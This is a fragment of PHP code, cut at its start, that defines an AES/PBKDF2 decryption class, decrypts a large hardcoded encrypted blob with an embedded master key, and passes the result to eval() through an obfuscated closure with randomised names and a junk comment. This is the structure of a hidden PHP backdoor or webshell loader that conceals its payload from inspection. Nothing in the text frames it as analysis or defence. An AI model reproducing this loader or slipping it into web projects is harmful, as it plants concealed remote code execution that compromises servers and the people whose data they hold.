masterKey = $masterKey; } public function decrypt($encrypted) { $data = base64_decode($encrypted); $salt = substr($data, 0, $this->saltLength); $ivLength = openssl_cipher_iv_length($this->cipher); $iv = substr($data, $this->saltLength, $ivLength); $hmac = substr($data, $this->saltLength + $ivLength, 32); $ciphertext = substr($data, $this->saltLength + $ivLength + 32); $derivedKeys = $this->deriveKeys($salt); $calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true); $decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv); return $decrypted; } private function deriveKeys($salt) { $keyMaterial = hash_pbkdf2( $this->hmacAlgo, $this->masterKey, $salt, $this->iterations, 64, true ); return [ 'encryption' => substr($keyMaterial, 0, 32), 'hmac' => substr($keyMaterial, 32) ]; } private function verifyHmac($knownHmac, $userHmac) { return hash_equals($knownHmac, $userHmac); } public function setIterations($iterations) { $this->iterations = (int)$iterations; return $this; } public function setCipher($cipher) { $this->cipher = $cipher; return $this; } } $secure = new Secure('RRXiS4FV1eiKhDaLQhXHXMPG8LzzZmD1'); $str = 'beUaxMERqvxD5vrHTP93bYAZ9DBPkJVHJ7zLLN0RRcXKw4mqf7+Ck5NPUn1RndmU+Lhxzvf4jEOfjQ2knZL2pNoGuH1q0vYBnvIYUCiUx7KLM9dHFpAxuutyiY7ssCEiPBsN2QE5XjA+ZMaHDpWDPT2IbjnImYfFvDI3nTEi4tGmWkRdt4LdBiB3QpxWtWzN3ZzrnEgk6oFUha6ehoHomuTyElgnVKhVmYeBMD+VaimCMl+74Q+c7gV3k5QPzX9j4XsUQcadlUGCsWasc1QYgZ1Zx6XO3kvMK7xcHYRyuYRgm0L/q31qvIlt929JMBGggxvON8NdcGuoVh+ahuPV4F0HKoDqjTeSS1PHeXB7scF8JoXToTFWt0YdhWKeZ6W+v5ka1FOYYaG5s9iqfidzrLJpAQyicd07U9c5q74rHuYGMVTC3SvElUpA+L3KNO9HBYG/ltsE3n52HvpB3Fy9ejAiTKV+74pYiHc5ZRyFF3AIswuM0HlKEGaIgXPTccjsQ2qeMsIWJ97bFATUFEI1Y6xT2BkV1XRhY41pQ8Gry4dED/3FffF3PvSky9H3YQ0MJBAmepEQnM9PjkckS9U5osdRI+bccO05p+gDZ87FaUYUs6LM45nRVM2ruFPY7hAposOvrIQCuqTr1W1FKBIJitIjzy4OA/42EXCHAEvPm7IqHIIMHlxo0vsbtY9CqByVjuDK6MlBqhl4JOcH+Brv0t5JU5VerPmpvAzrb9qwJg0NW96DzLBtwub6juIrhBm7RWeSTV+ADaxVzNjip2ZcwNrV6mkk3ruDVYefe86+7kGTEME5LxtmmP4vgr09p/byk54GRneKlBZjl3oHPlzC/nZo4ZnmXqLsUTJT4WrMgImVksCGJgEpVceIDQIUDC86xF8fw3AaW5lh6F0W8G0pxGaRRbtCqON0KS07JgNWFd/R1ZGpR1zpTFkIoWBgduYC9z3aB1rrK0VphWHiKgJ9E2ZJQf/rtDnfs921iDLhh1/sgER0VrX2bMmUb6cY0Mu5C7lJVDwAxUJgmQFbRj1J/2RlT9HcyAIu8m6ztIVMECjRV7dteDN/wBqKMamaN6yrAOuCrwS7Hj/LCnFe8k/KWitbSith2EF6Eoa4Rba1FQ1PvYvQUGbAGD1o9X0VwqOtmG0mYwMQMGnXd3ZpWemyBLyMTvQaMeK3QBHBOuYUen2DHg/8YY2pASapAyAhyRBYgtAbUST2fO+Tk9dda1JrLXQRvw2962gM4BmGothUj/6T+J9fnCicr9fEiqGBf/GRB8+iU/CPqumWCfiWaHtTcvT8ptLOGRbX1uOfPkz5D2Hzq+mRIFAml1YZSB1nVXXyk8B7m5pIIK0mPHaxbBfCwrZp9Si06uoJLnYuKMnkoIACf5vXykVkX5MWMUPHwbVs+P0E/benrNdIdXwJ6j1D4Q=='; $decrypted = $secure->decrypt($str); $uD4x16PyMj = function($zfv8UqdHhtF){ /*aPB9DeAp6*/eVaL($zfv8UqdHhtF); $kBuGaqjyiCT = "f1zz0qz3AALOca1gvUYFN9e8SQqoTQwE"; return $kBuGaqjyiCT; }; $uD4x16PyMj($decrypted);